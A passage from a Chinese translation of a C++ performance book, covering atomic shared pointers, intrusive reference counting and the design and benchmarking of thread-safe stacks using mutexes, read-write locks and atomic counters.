只要没有两个线程共享对同一个共享指针的访问,此保证就适用。如何为每个线程获取其自己的共享指针是一个单独的问题:因为指向同一对象的所有共享指针必须从第一个这样的指针开始创建,这些指针必须曾经在某个时间点从一个线程传递到另一个线程。为简单起见,让我们假设一下,做共享指针的复制的代码受到互斥锁的保护。如果两个线程访问同一个共享指针,那么一切都不确定。例如,如果一个线程正在尝试复制共享指针,而另一个线程同时正在重置它,结果是未定义的。特别是,标准共享指针不能用于实现发布协议。然而,一旦共享指针的副本已经分发给所有线程(可能在锁定状态下),共享所有权就得到了维护,并且对象的删除是以线程安全的方式处理的。一旦指向对象的最后一个共享指针被删除,对象就会被删除。请注意,由于我们同意每个特定的共享指针永远不会被多个线程处理,这是完全安全的。如果在程序执行过程中,当只有一个共享指针拥有我们的对象时,那么也只有一个线程可以访问这个对象。其他线程无法复制这个指针(我们不让两个线程共享同一个指针对象),也没有其他方法获得指向同一对象的指针,因此删除将有效地以单线程方式进行。
这一切都很好,但如果我们不能保证两个线程不会尝试访问同一个共享指针怎么办?这种访问的第一个例子是我们的发布协议:消费者线程正在读取指针的值,而生产者线程可能正在更改它。我们需要共享指针本身的操作是原子的。在 C++20 中,我们可以做到这一点:它让我们编写std::atomic<std::shared_ptr<T>>
。请注意,早期的提案中提到了一个新类std::atomic_shared_ptr<T>
。最终,这不是选择的路径。
如果您没有符合 C++20 标准的编译器和相应的标准库,或者无法在您的代码中使用 C++20,您仍然可以在std::shared_ptr
上执行原子操作,但必须明确这样做。为了使用在所有线程之间共享的指针p_
发布对象,生产者线程必须这样做:
std::shared_ptr<T> p_;
T* data = new T;
… finish initializing the data …
std::atomic_store_explicit(
&p_, std::shared_ptr<T>(data), std::memory_order_release);
另一方面,为了获取指针,消费者线程必须这样做:
std::shared_ptr<T> p_;
const T* data = std::atomic_load_explicit(
&p_, std::memory_order_acquire).get();
与 C++20 原子共享指针相比,这种方法的主要缺点是没有保护意外的非原子访问。程序员必须记住始终使用原子函数来操作共享指针。
值得注意的是,虽然方便,std::shared_ptr
并不是特别高效的指针,而原子访问使其变得更慢。我们可以比较使用上一节中的线程安全发布指针与显式原子访问的共享指针发布对象的速度:
图 6.7 - 原子共享发布指针的性能(消费者线程)
同样,这些数字应该与图 6.5中的数字进行比较:在一个线程上,发布指针比共享指针快 60 倍,随着线程数量的增加,优势也会增加。当然,共享指针的整个目的是提供共享资源所有权,因此自然需要更多时间来完成更多的工作。比较的重点是显示这种共享所有权的成本:如果可以避免,程序将更加高效。
即使需要共享所有权(有一些并发数据结构确实很难在没有共享所有权的情况下设计),通常情况下,如果设计自己的具有有限功能和最佳实现的引用计数指针,通常可以做得更好。一种非常常见的方法是使用侵入式引用计数。侵入式共享指针将其引用计数存储在其指向的对象中。当为特定对象设计时,例如我们特定数据结构中的列表节点,对象是以共享所有权为目的设计的,并包含一个引用计数器。否则,我们可以为几乎任何类型使用包装类,并用引用计数器增强它:
template <typename T> struct Wrapper {
T object;
Wrapper(… arguments …) : object(…) {}
~Wrapper() = default;
Wrapper (const Wrapper&) = delete;
Wrapper& operator=(const Wrapper&) = delete;
std::atomic<size_t> ref_cnt_ = 0;
void AddRef() {
ref_cnt_.fetch_add(1, std::memory_order_acq_rel);
}
bool DelRef() { return
ref_cnt_.fetch_sub(1, std::memory_order_acq_rel) == 1;
}
};
在减少引用计数时,重要的是要知道何时达到 0(或在减少之前为 1):共享指针必须删除对象。
即使是最简单的原子共享指针的实现也相当冗长;本章的示例代码中可以找到一个非常基本的示例。再次强调,该示例仅包含使指针能够正确执行发布对象和多个线程同时访问同一指针等多项任务所必需的最低限度。该示例的目的是使实现这种指针的基本要素更容易理解(即使如此,代码也有几页长)。
除了使用侵入式引用计数外,特定于应用程序的共享指针可以放弃std::shared_ptr
的其他功能。例如,许多应用程序不需要弱指针,但即使从未使用过,支持它也会带来开销。一个最简化的引用计数指针可以比标准指针高出几倍效率:
图 6.8 - 自定义原子共享发布指针的性能(消费者线程)
对于指针的赋值和重新赋值、两个指针的原子交换以及指针的其他原子操作,这样做同样更有效。即使这种共享指针仍然比唯一指针效率低得多,所以如果可以明确管理数据所有权而不使用引用计数,那么请这样做。
现在我们几乎可以构建任何数据结构的两个关键构件:我们可以添加新数据并发布它(向其他线程公开),甚至可以跨线程跟踪所有权(尽管这是有代价的)。
总结
在本章中,我们已经了解了任何并发程序的基本构建块的性能。所有对共享数据的访问都必须受到保护或同步,但在实现这种同步时有很多选择。虽然互斥锁是最常用和最简单的选择,但我们还学习了其他几种性能更好的选择:自旋锁及其变体,以及无锁同步。
高效并发程序的关键是尽可能将数据局部化到一个线程,并最小化对共享数据的操作。每个问题特定的要求通常决定了这些操作不能完全被消除,因此本章重点是使并发数据访问更加高效。
我们学习了如何在多个线程之间计数或累积结果,有锁和无锁的情况下。了解数据依赖性问题使我们发现了发布协议及其在几种线程安全的智能指针中的实现,适用于不同的应用程序。
我们现在已经准备好将我们的研究提升到下一个水平,并将其中几个构建块组合成更复杂的线程安全数据结构。在下一章中,您将学习如何使用这些技术来设计并发程序的实用数据结构。
问题
-
锁定型、无锁型和无等待型程序的定义特性是什么?
-
如果算法是无等待的,这是否意味着它将完美扩展?
-
锁定的缺点是什么,促使我们寻找替代方案?
-
共享计数器和数组或其他容器中的共享索引之间有什么区别?
-
发布协议的主要优势是什么?
第七章:并发数据结构
在上一章中,我们详细探讨了可以用来确保并发程序正确性的同步原语。我们还研究了这些程序的最简单但有用的构建块:线程安全计数器和指针。
在本章中,我们将继续研究并发程序的数据结构。本章的目的是双重的:一方面,你将学习如何设计几种基本数据结构的线程安全变体。另一方面,我们将指出一些对于设计自己的数据结构用于并发程序以及评估组织和存储数据的最佳方法的一般原则和观察是重要的。
在本章中,我们将涵盖以下主要主题:
-
理解线程安全的数据结构,包括顺序容器、栈和队列、基于节点的容器和列表
-
改进并发性能和顺序保证
-
设计线程安全数据结构的建议
技术要求
同样,你将需要一个 C++编译器和一个微基准测试工具,比如我们在上一章中使用的 Google 基准库(在github.com/google/benchmark
找到)。本章的代码可以在github.com/PacktPublishing/The-Art-of-Writing-Efficient-Programs/tree/master/Chapter07
找到。
什么是线程安全的数据结构?
在我们开始学习线程安全数据结构之前,我们必须知道它们是什么。如果这似乎是一个简单的问题 – 可以同时被多个线程使用的数据结构 – 你还没有认真思考这个问题。我无法过分强调每次开始设计新的数据结构或用于并发程序中的算法时都要问这个问题有多么重要。如果这句话让你警惕并让你停下来,那是有充分理由的:我刚刚暗示线程安全数据结构没有适合每个需求和每个应用的单一定义。这确实是这样,也是一个非常重要的观点。
线程安全的最佳类型
让我们从一个显而易见但在实践中经常被忘记的事情开始:高性能设计的一个非常普遍的原则是不做任何工作总是比做一些工作更快。对于这个主题,这个一般原则可以缩小到*你是否需要任何形式的线程安全来处理这个数据结构?*确保线程安全,无论采取什么形式,都意味着计算机需要做一定量的工作。问问自己,我真的需要吗?我能安排计算,让每个线程都有自己的数据集来操作吗?
一个简单的例子是我们在上一章中使用的线程安全计数器。如果需要所有线程始终看到计数器的当前值,那么这就是正确的解决方案。然而,假设我们只需要计算在多个线程中发生的某个事件,比如在被线程之间分割的大量数据集中搜索某些内容。一个线程不需要知道计数的当前值来进行搜索。当然,它需要知道计数的最新值来递增它,但只有在我们尝试在所有线程上递增单个共享计数时才是如此:
std::atomic<unsigned long> count;
…
for ( … counting loop … ) { // On each thread
… search …
if (… found …)
count.fetch_add(1, std::memory_order_relaxed));
}
计数本身的性能是令人沮丧的,如在一个基准测试中可以看到,我们除了计数什么也不做(没有搜索):
图 7.1 – 如果计数是共享的,则多个线程计数不会扩展
计数的扩展实际上是负的:在两个线程上达到相同的计数值所需的时间比在一个线程上更长,尽管我们尽最大努力使用具有最小内存顺序要求的无等待计数。当然,如果搜索时间相对于计数时间非常长,那么计数的性能就不重要了(但搜索代码本身可能会出现相同的选择,即在全局数据或每个线程副本上进行一些工作,因此请将其视为一个有益的例子)。
假设我们只关心计算结束时的计数值,一个更好的解决方案当然是在每个线程上维护本地计数,并且只增加共享计数一次:
unsigned long count;
std::mutex M; // Guards count
…
// On each thread
unsigned long local_count = 0;
for ( … counting loop … ) {
… search …
if (… found …) ++local_count;
}
std::lock_guard<std::mutex> L(M);
count += local_count;
为了突出共享计数增量现在有多不重要,我们将使用基本的互斥锁;通常,锁是一个更安全的选择,因为它更容易理解(因此更难出错),尽管在计数的情况下,原子整数实际上会产生更简单的代码。
如果每个线程在到达结尾之前多次增加本地计数,然后必须增加共享计数,那么扩展几乎是完美的:
图 7.2 - 多线程计数与每个线程计数完美扩展
因此,最好的线程安全是由于您不从多个线程访问数据结构而得到的保证。通常,这种安排会带来一些开销:例如,每个线程都会维护一个容器或内存分配器,其大小会反复增长和缩小。如果直到程序结束才释放内存给主分配器,您可以完全避免任何锁定。代价是一个线程上未使用的内存不会提供给其他线程,因此总内存使用量将是所有线程的峰值使用量的总和,即使这些峰值使用发生在不同的时间。是否可以接受这一点取决于问题和实现的细节:这是您必须考虑的每个程序。
当涉及到线程安全时,您可以说整个本节都是一种逃避。从某种角度来看,确实如此,但在实践中经常发生的情况是,在不必要的情况下使用共享数据结构,而性能收益可能如此显著,以至于需要强调这一点。现在是时候转向真正的线程安全,其中数据结构必须在多个线程之间共享。
真正的线程安全
假设我们确实需要同时从多个线程访问特定数据结构。现在我们必须讨论线程安全。但仍然没有足够的信息来确定这个线程安全意味着什么。我们已经在上一章中讨论了强和弱线程安全保证。我们将在本章中看到,即使这种划分还不够,但它让我们走上了正确的道路:我们应该描述数据结构提供的一组保证,以便进行并发访问。
正如我们所见,弱(但通常易于提供)保证是多个线程可以读取相同的数据结构,只要它保持不变。最强的保证显然是任何操作都可以由任意数量的线程在任何时间完成,并且数据结构保持在良好定义的状态。这种保证通常既昂贵又不必要。您的程序可能需要从数据结构支持的某些操作中获得这样的保证,但不需要从所有操作中获得。可能还有其他简化,例如同时访问数据结构的线程数量可能是有限的。
通常情况下,您希望提供尽可能少的保证,以使程序正确,而不是更多:即使不使用,额外的线程安全功能通常也会非常昂贵并产生开销。
考虑到这一点,让我们开始探索具体的数据结构,看看提供不同级别的线程安全保证需要做些什么。
线程安全的堆栈
从并发性的角度来看,最简单的数据结构之一是堆栈。堆栈上的所有操作都涉及顶部元素,因此(至少在概念上)需要针对竞争进行保护的单个位置。
C++标准库为我们提供了std::stack
容器,因此它是一个很好的起点。所有 C++容器,包括堆栈,都提供了弱线程安全保证:只读容器可以被多个线程安全地访问。换句话说,只要没有线程调用任何非const
方法,任意数量的线程可以同时调用任何const
方法。虽然这听起来很容易,几乎是简单的,但这里有一个微妙的地方:在对象的最后修改和被认为是只读的程序部分之间必须有某种同步事件和内存屏障。换句话说,写访问实际上并没有完成,直到所有线程执行内存屏障:写入者必须至少执行一个释放,而所有读取者必须获取。任何更强的屏障也可以工作,锁也可以,但每个线程都必须采取这一步。
接口设计的线程安全性
现在,如果至少有一个线程正在修改堆栈,我们需要更强的保证怎么办?提供一个最直接的方法是用互斥锁保护类的每个成员函数。这可以在应用程序级别完成,但这样的实现并不强制执行线程安全,因此容易出错。它也很难调试和分析,因为锁与容器没有关联。
更好的选择是用我们自己的类来包装堆栈类,就像这样:
template <typename T> class mt_stack {
std::stack<T> s_;
std::mutex l_;
public:
mt_stack() = default;
void push(const T& v) {
std::lock_guard g(l_);
s_.push(v);
}
…
};
请注意,我们可以使用继承而不是封装。这样做将使得编写mt_stack
的构造函数更容易:我们只需要一个using
语句。然而,使用公共继承会暴露基类std::stack
的每个成员函数,因此如果我们忘记包装其中的一个,代码将编译但会直接调用未受保护的成员函数。私有(或受保护的)继承可以避免这个问题,但会带来其他危险。一些构造函数需要重新实现:例如,移动构造函数需要锁定正在移动的堆栈,因此它需要自定义实现。还有几个构造函数在没有包装的情况下暴露会很危险,因为它们读取或修改它们的参数。总的来说,如果我们想要提供每个构造函数,最好是安全的。这与 C++的一个非常普遍的规则一致;优先使用组合而不是继承。
我们的线程安全或多线程堆栈(这就是mt的含义)现在具有push功能,并且已经准备好接收数据。我们只需要接口的另一半,pop。我们当然可以按照前面的例子包装pop()
方法,但这还不够:STL 堆栈使用三个单独的成员函数来从堆栈中移除元素。pop()
移除顶部元素但不返回任何内容,所以如果你想知道堆栈顶部是什么,你必须先调用top()
。如果堆栈为空,调用这两个方法是未定义行为,所以你必须先调用empty()
并检查结果。好吧,我们可以包装所有三个方法,但这对我们来说毫无意义。在下面的代码中,假设堆栈的所有成员函数都受到锁的保护:
mt_stack<int> s;
… push some data on the stack …
int x = 0;
if (!s.empty()) {
x = s.top();
s.pop();
}
每个成员函数在多线程环境中都是完全线程安全的,但在多线程环境中完全无用:堆栈可能在某一时刻非空 - 我们碰巧调用s.empty()
的时候 - 但在下一时刻变为空,在我们调用s.top()
之前,因为另一个线程可能在此期间移除了顶部元素。
这很可能是整本书中最重要的一课:为了提供可用的线程安全功能,接口必须考虑线程安全。更一般地说,不可能在现有设计的基础上添加线程安全。相反,设计必须考虑线程安全。原因是:您可能选择在设计中提供某些保证和不变量,这些保证和不变量在并发程序中是不可能维护的。例如,std::stack
提供了这样的保证,如果您调用empty()
并且它返回false
,则只要在这两次调用之间不对栈进行其他操作,您就可以安全地调用top()
。在多线程程序中,几乎没有实用的方法来维护这个保证。
幸运的是,由于我们无论如何都要编写自己的包装器类,我们并不受约束,必须逐字使用包装类的接口。那么,我们应该做什么呢?显然,整个pop操作应该是一个单一的成员函数:它应该从栈中移除顶部元素并将其返回给调用者。一个复杂之处在于当栈为空时该怎么办。在这里我们有多个选择。我们可以返回值和一个布尔标志的对,指示栈是否为空(在这种情况下,值必须是默认构造的)。我们可以仅返回布尔值,并通过引用传递值(如果栈为空,则值保持不变)。在 C++17 中,自然的解决方案是返回std::optional
,如下面的代码所示。它非常适合保存可能不存在的值的工作:
template <typename T> class mt_stack {
std::stack<T> s_;
std::mutex l_;
public:
std::optional<T> pop() {
std::lock_guard g(l_);
if (s_.empty()) {
return std::optional<T>(std::nullopt);
} else {
std::optional<T> res(std::move(s_.top()));
s_.pop();
return res;
}
}
};
如您所见,从栈中弹出元素的整个操作现在受到锁的保护。这个接口的关键特性是它是事务性的:每个成员函数将对象从一个已知状态转换到另一个已知状态。
如果对象必须经过一些不够定义的中间状态的转换,比如在调用empty()
之后但在调用pop()
之前的状态,那么这些状态必须对调用者隐藏。调用者将被呈现一个单一的原子事务:要么返回顶部元素,要么通知调用者没有顶部元素。这确保了程序的正确性;现在,我们可以看看性能。
互斥保护数据结构的性能
我们的栈的性能如何?考虑到每个操作从头到尾都被锁定,我们不应该期望栈成员函数的调用会有任何扩展。最好的情况是,所有线程将按顺序执行它们的栈操作,但实际上,我们应该期望锁定会带来一些开销。如果我们将多线程栈的性能与单线程上的std::stack
的性能进行比较,我们可以在基准测试中测量这种开销。
为了简化基准测试,您可以选择在std::stack
周围实现一个单线程非阻塞的包装器,它呈现与我们的mt_stack
相同的接口。请注意,您不能仅通过将元素推送到栈上来进行基准测试:您的基准测试可能会耗尽内存。同样,除非要测量从空栈中弹出的成本,否则您不能可靠地对弹出操作进行基准测试。如果基准测试运行时间足够长,您必须同时进行推送和弹出。最简单的基准测试可能如下所示:
mt_stack<int> s;
void BM_stack(benchmark::State& state) {
const size_t N = state.range(0);
for (auto _ : state) {
for (size_t i = 0; i < N; ++i) s.push(i);
for (size_t i = 0; i < N; ++i)
benchmark::DoNotOptimize(s.pop());
}
state.SetItemsProcessed(state.iterations()*N);
}
在运行多线程时,有可能会发生一些pop()
操作在栈为空时发生。这可能是您设计栈的应用程序的现实情况。此外,由于基准测试只能给出数据结构在实际应用中性能的近似值,这可能并不重要。要进行更准确的测量,您可能需要模拟应用程序产生的推送和弹出操作的实际序列。无论如何,结果应该看起来像这样:
图 7.3 - 互斥保护的堆栈的性能
请注意,“项”在这里是推送后跟弹出,因此“每秒项数”的值显示了我们可以每秒通过堆栈发送多少数据元素。作为比较,同样的堆栈在单个线程上的性能比没有任何锁的情况下快了 10 多倍:
图 7.4 - std::stack 的性能(与图 7.3 进行比较)
正如我们所看到的,使用互斥锁实现的堆栈的性能相当差。然而,你不应该急于寻找或设计一些聪明的线程安全堆栈,至少现在还不是。你应该首先问的问题是,“这重要吗?”应用程序对堆栈上的数据做什么?比如说,每个数据元素是一个需要几秒钟的模拟参数,堆栈的速度可能并不重要。另一方面,如果堆栈是某个实时事务处理系统的核心,它的速度很可能是整个系统性能的关键。
顺便说一句,对于任何其他数据结构,如列表、双端队列、队列和树,其结果可能会类似,其中单个操作比互斥锁的操作快得多。但在我们尝试提高性能之前,我们必须考虑我们的应用程序需要什么样的性能。
不同用途的性能要求
在本章的其余部分,让我们假设数据结构的性能对你的应用程序很重要。现在,我们能看到最快的堆栈实现了吗?同样,还没有。我们还需要考虑使用模型;换句话说,我们对堆栈做什么,什么需要快。
例如,正如我们刚刚看到的,互斥保护的堆栈性能不佳的主要原因是其速度基本上受到互斥本身的限制。对堆栈操作进行基准测试几乎与对互斥锁进行基准测试相同。提高性能的一种方法是改进互斥锁的实现或使用另一种同步方案。另一种方法是更少地使用互斥锁;这种方式需要我们重新设计客户端代码。
例如,很多时候,调用者有多个项目必须推送到堆栈上。同样,调用者可能能够一次从堆栈中弹出多个元素并处理它们。在这种情况下,我们可以使用数组或另一个容器实现批量推送或批量弹出,一次复制多个元素到堆栈中或从堆栈中。由于锁的开销很大,我们可以期望使用一个锁/解锁操作将 1,024 个元素推送到堆栈上比分别在单独的锁下推送每个元素更快。事实上,基准测试显示情况是这样的:
图 7.5 - 批处理堆栈操作的性能(每个锁 1,024 个元素)
我们应该非常清楚这种技术能做什么,以及不能做什么:如果关键部分比锁操作本身快得多,它可以减少锁的开销。它并不能使锁定的操作扩展。此外,通过延长关键部分,我们迫使线程在锁上等待更长时间。如果所有线程大部分时间都在尝试访问堆栈(这就是为什么基准测试变得更快的原因),这是可以接受的。但是,如果在我们的应用程序中,线程大部分时间都在做其他计算,只偶尔访问堆栈,那么更长的等待时间可能会降低整体性能。要明确回答批量推送和批量弹出是否有益,我们需要在更真实的环境中对它们进行分析。
还有其他情景,寻找更有限的、特定于应用程序的解决方案可以获得远高于任何改进的通用解决方案的性能增益。例如,在一些应用程序中,一个单独的线程预先将大量数据推送到堆栈上,然后多个线程从堆栈中移除数据并处理它,可能还会将更多数据推送到堆栈上。在这种情况下,我们可以实现一个未锁定的推送,仅在单线程上下文中使用。虽然责任在于调用者永远不要在多线程上下文中使用这种方法,但未锁定的堆栈比锁定的堆栈快得多,可能值得复杂化。
更复杂的数据结构提供了各种使用模型,但即使堆栈也可以用于更多的简单推送和弹出。我们还可以查看顶部元素而不删除它。std::stack
提供了top()
成员函数,但同样,它不是事务性的,所以我们必须创建自己的。它与事务性的pop()
函数非常相似,只是不删除顶部元素:
template <typename T> class mt_stack {
std::stack<T> s_;
mutable std::mutex l_;
public:
std::optional<T> top() const {
std::lock_guard g(l_);
if (s_.empty()) {
return std::optional<T>(std::nullopt);
} else {
std::optional<T> res(s_.top());
return res;
}
}
};
请注意,为了允许只查找的函数top()
被声明为const
,我们必须将互斥锁声明为mutable
。这应该谨慎处理:多线程程序的约定是,遵循 STL,只要不调用非const
成员函数,所有const
成员函数都可以安全地在多个线程上调用。这通常意味着const
方法不修改对象,它们确实是只读的。可变数据成员违反了这一假设。至少在修改它们时应该避免任何竞争条件。互斥锁满足这两个要求。
现在我们可以考虑不同的使用模式。在一些应用程序中,数据被推送到堆栈上并从中弹出。在其他情况下,顶部堆栈元素可能需要在每次推送和弹出之间被多次检查。让我们首先关注后一种情况。再次检查top()
方法的代码。这里显然存在一个低效:由于锁的存在,只有一个线程可以在任何时刻读取堆栈的顶部元素。但是读取顶部元素是一个非修改(只读)操作。如果所有线程都这样做,而且没有线程同时尝试修改堆栈,我们根本不需要锁,top()
操作将会完美扩展。相反,它的性能与pop()
方法相似。
我们不能在top()
中省略锁的原因是我们无法确定另一个线程是否同时调用push()
或pop()
。但即使如此,我们也不需要锁定两次对top()
的调用;它们可以同时进行。只有修改堆栈的操作需要被锁定。有一种锁提供了这样的功能;它通常被称为top()
方法使用共享锁,因此任意数量的线程可以同时执行它,但push()
和pop()
方法需要唯一锁:
template <typename T> class rw_stack {
std::stack<T> s_;
mutable std::shared_mutex l_;
public:
void push(const T& v) {
std::unique_lock g(l_);
s_.push(v);
}
std::optional<T> pop() {
std::unique_lock g(l_);
if (s_.empty()) {
return std::optional<T>(std::nullopt);
} else {
std::optional<T> res(std::move(s_.top()));
s_.pop();
return res;
}
}
std::optional<T> top() const {
std::shared_lock g(l_);
if (s_.empty()) {
return std::optional<T>(std::nullopt);
} else {
std::optional<T> res(s_.top());
return res;
}
}
};
不幸的是,我们的基准测试显示,即使使用读写锁,top()
的调用性能也无法扩展:
图 7.6 – 使用 std::shared_mutex 的堆栈性能;只读操作
甚至更糟的是,需要唯一锁的操作的性能与常规互斥锁相比会进一步下降:
图 7.7 – 使用 std::shared_mutex 的堆栈性能;写操作
通过将图 7.6和7.7与图 7.4中的早期测量进行比较,我们可以看到读写锁根本没有给我们带来任何改进。这个结论远非普遍适用:不同互斥锁的性能取决于实现和硬件。然而,一般来说,更复杂的锁,如共享互斥锁,会比简单的锁有更多的开销。它们的目标应用是不同的:如果临界区本身花费了更长的时间(比如毫秒而不是微秒),并且大多数线程执行只读代码,那么不锁定只读线程之间的互斥将具有很大的价值,几微秒的开销将不太明显。
更长的临界区观察非常重要:如果我们的栈元素更大,并且复制起来非常昂贵,那么锁的性能就不那么重要了,与复制大对象的成本相比,我们会开始看到扩展。然而,假设我们的总体目标是使程序快速,而不是展示可扩展的栈实现,我们将通过完全消除昂贵的复制并使用指针栈来优化整个应用程序。
尽管我们在读写锁方面遭受了挫折,但我们对更高效的实现思路是正确的。但在我们设计之前,我们必须更详细地了解栈操作的确切内容以及在每一步可能发生的数据竞争。
栈性能详解
当我们试图改进线程安全栈(或任何其他数据结构)的性能超出简单的锁保护实现时,我们首先必须详细了解每个操作涉及的步骤以及它们如何与在不同线程上执行的其他操作交互。这一部分的主要价值不在于更快的栈,而在于这种分析:事实证明,这些低级步骤对许多数据结构都是共同的。让我们从推送操作开始。大多数栈实现都是建立在某种类似数组的容器之上,因此让我们将栈顶视为连续的内存块:
图 7.8 - 推送操作的栈顶
栈上有N
个元素,因此元素计数也是下一个元素将放置的第一个空槽的索引。推送操作必须将顶部索引(也是元素计数)从N
增加到N+1
来保留其槽,然后在槽N
中构造新元素。请注意,这个顶部索引是数据结构的唯一部分,其中进行推送的线程可以相互交互:只要索引增量操作是线程安全的,只有一个线程可以看到索引的每个值。执行推送的第一个线程将顶部索引提升到N+1
并保留第N
个槽,下一个线程将索引增加到N+2
并保留第N+1
个槽,依此类推。关键点在于这里对槽本身没有竞争:只有一个线程可以获得特定的槽,因此它可以在那里构造对象,而不会有其他线程干扰。
这表明推送操作的非常简单的同步方案:我们只需要一个用于顶部索引的原子值:
std::atomic<size_t> top_;
推送操作会原子地增加这个索引,然后在由索引的旧值索引的数组槽中构造新元素:
const size_t top = top_.fetch_add(1);
new (&data[top]) Element(… constructor arguments … );
再次强调,没有必要保护构建步骤免受其他线程的影响。原子索引是我们使推送操作线程安全所需要的一切。顺便说一句,如果我们使用数组作为堆栈内存,这也是正确的。如果我们使用std::deque
这样的容器,我们不能简单地在其内存上构建一个新元素:我们必须调用push_back
来更新容器的大小,即使 deque 不需要分配更多的内存,这个调用也不是线程安全的。因此,超出基本锁的数据结构实现通常也必须管理自己的内存。说到内存,到目前为止,我们假设数组有空间添加更多的元素,并且我们不会用尽内存。让我们暂时坚持这个假设。
到目前为止,我们已经找到了一种非常高效的方法来在特定情况下实现线程安全的推送操作:多个线程可以将数据推送到堆栈,但在所有推送操作完成之前没有人读取它。
如果我们有一个已经推送元素的堆栈,并且需要弹出它们(并且不再添加新元素),相同的想法也适用。图 7.8也适用于这种情况:一个线程原子递减顶部计数,然后将顶部元素返回给调用者。
const size_t top = top_.fetch_sub(1);
return std::move(data[top]);
原子递减保证只有一个线程可以访问每个数组槽作为顶部元素。当然,这仅在堆栈不为空时才有效。我们可以将顶部元素索引从无符号整数更改为有符号整数;然后,当索引变为负数时,我们就知道堆栈为空了。
这是再次在非常特殊的条件下实现线程安全的弹出操作的非常高效的方法:堆栈已经被填充,并且没有添加新元素。在这种情况下,我们也知道堆栈上有多少元素,因此很容易避免尝试弹出空堆栈。
在某些特定的应用中,这可能具有一定的价值:如果堆栈首先由多个线程填充而没有弹出,并且程序中有一个明确定义的切换点,从添加数据到删除数据,那么我们对问题的每一半都有一个很好的解决方案。但让我们继续讨论更一般的情况。
我们非常高效的推送操作,不幸的是,在从堆栈中读取时没有帮助。让我们再次考虑如何实现弹出顶部元素的操作。我们有顶部索引,但它告诉我们的只是当前正在构建的元素数量;它并没有告诉我们最后一个构建完成的元素的位置(图 7.9中的第N-3
个元素):
图 7.9 - 推送和弹出操作的堆栈顶部
当然,进行推送和因此构建的线程知道何时完成。也许我们需要另一个计数,显示有多少元素完全构建了。遗憾的是,如果只是那么简单就好了。在图 7.9中,假设线程 A 正在构建元素N-2
,线程 B 正在构建元素N-1
。显然,线程 A 首先增加了顶部索引。但这并不意味着它也会首先完成推送。线程 B 可能会先完成构建。现在,堆栈上最后构建的元素的索引是N-1
,所以我们可以将构建计数提高到N-1
(注意我们跳过了仍在构建中的元素N-2
)。现在我们想弹出顶部元素;没问题,元素N-1
已经准备好了,我们可以将其返回给调用者并从堆栈中删除它;构建计数现在减少到N-2
。接下来应该弹出哪个元素?元素N-2
仍然没有准备好,但我们的堆栈中没有任何内容告诉我们。我们只有一个用于完成元素的计数,它的值是N-1
。现在我们在构建新元素的线程和尝试弹出它的线程之间存在数据竞争。
即使没有这场竞赛,还有另一个问题:我们刚刚弹出了元素N-1
,这在当时是正确的。但与此同时,线程 C 请求了一个推送。应该使用哪个槽?如果我们使用槽N-1
,我们就有可能覆盖线程 A 当前正在访问的相同元素。如果我们使用槽N
,那么一旦所有操作完成,数组中就会有一个空洞:顶部元素是N
,但下一个元素不是N-1
:它已经被弹出,我们必须跳过它。这个数据结构中没有任何内容告诉我们我们必须这样做。
我们可以跟踪哪些元素是真实的,哪些是空洞的,但这变得越来越复杂(以线程安全的方式进行将需要额外的同步,这将降低性能)。此外,留下许多未使用的数组槽会浪费内存。我们可以尝试重用空洞来存放推送到堆栈上的新元素,但在这一点上,元素不再按顺序存储,原子顶部计数不再起作用,整个结构开始变得像一个列表。顺便说一句,如果你认为列表是实现线程安全堆栈的好方法,等到你看到本章后面实现线程安全列表需要付出的努力时再说吧。
在我们的设计中,我们必须暂停对实现细节的深入探讨,并再次审视问题的更一般方法。我们必须做两步:从我们对堆栈实现细节的更深入理解中得出结论,并进行一些性能估算,以对可能产生性能改进的解决方案有一个大致的了解。我们将从后者开始。
同步方案的性能估算
我们第一次尝试了一个非常简单的堆栈实现,没有锁定,为特殊情况提供了一些有趣的解决方案,但没有一般解决方案。在我们花费更多时间构建复杂设计之前,我们应该尝试估计它比简单基于锁的解决方案更有效的可能性有多大。
当然,这可能看起来像循环推理:为了估计性能,我们必须首先有一些东西来估计。但我们不希望在至少有一些保证努力会有所回报的情况下进行复杂的设计,这些保证需要性能估计。
幸运的是,我们可以回到我们之前学到的一般观察:并发数据结构的性能在很大程度上取决于有多少共享变量同时访问。让我们假设我们可以想出一个巧妙的方法来使用单个原子计数器实现堆栈。假设每次推送和弹出都至少要对这个计数器进行一次原子递增或递减(除非我们正在进行批量操作,但我们已经知道它们更快)。如果我们进行一个基准测试,将单线程堆栈上的推送和弹出与共享原子计数器上的原子操作相结合,我们可以得到一个合理的性能估计。由于没有同步进行,因此我们必须为每个线程使用一个单独的堆栈,以避免竞争条件:
std::atomic<size_t> n;
void BM_stack0_inc(benchmark::State& state) {
st_stack<int> s0;
const size_t N = state.range(0);
for (auto _ : state) {
for (size_t i = 0; i < N; ++i) {
n.fetch_add(1, std::memory_order_release);
s0.push(i);
}
for (size_t i = 0; i < N; ++i) {
n.fetch_sub(1, std::memory_order_acquire);
benchmark::DoNotOptimize(s0.pop());
}
}
state.SetItemsProcessed(state.iterations()*N);
}
在这里,st_stack
是一个堆栈包装器,它提供与我们基于锁的mt_stack
相同的接口,但没有任何锁。实际实现会稍慢一些,因为堆栈顶部也在线程之间共享,但这将给我们一个从上面估计出来的结果:实际上是线程安全的任何实现都不太可能胜过这个人工基准测试。我们将结果与什么进行比较?图 7.3中基于锁的堆栈的基准测试显示,在一个线程上每秒 30M 次推送/弹出操作,8 个线程上为 3.1M 次。我们还知道没有任何锁的堆栈的基准性能约为每秒 485M 次操作(图 7.4)。在同一台机器上,我们使用单个原子计数器进行的性能估计得出这些结果:
图 7.10 - 具有单个原子计数器的假设堆栈的性能估计
结果看起来有点复杂:即使在最佳条件下,我们的堆栈也无法扩展。这主要是因为我们正在测试一个小元素的堆栈;如果元素很大且复制成本很高,我们会看到扩展,因为多个线程可以同时复制数据。但前面的观察仍然成立:如果复制数据变得如此昂贵,以至于我们需要许多线程来执行它,我们最好使用指针堆栈,根本不复制任何数据。
另一方面,原子计数器比基于互斥体的堆栈快得多。当然,这只是一个从上面估计出来的结果,但它表明无锁堆栈有一些可能性。然而,基于锁的堆栈也有:当我们需要锁定非常短的临界区时,有比std::mutex
更有效的锁。在第六章中我们已经看到了这样一种锁,并发和性能,当我们实现了自旋锁。如果我们在基于锁的堆栈中使用这个自旋锁,那么,我们得到的结果不是图 7.2,而是这些结果:
图 7.11 - 基于自旋锁的堆栈的性能
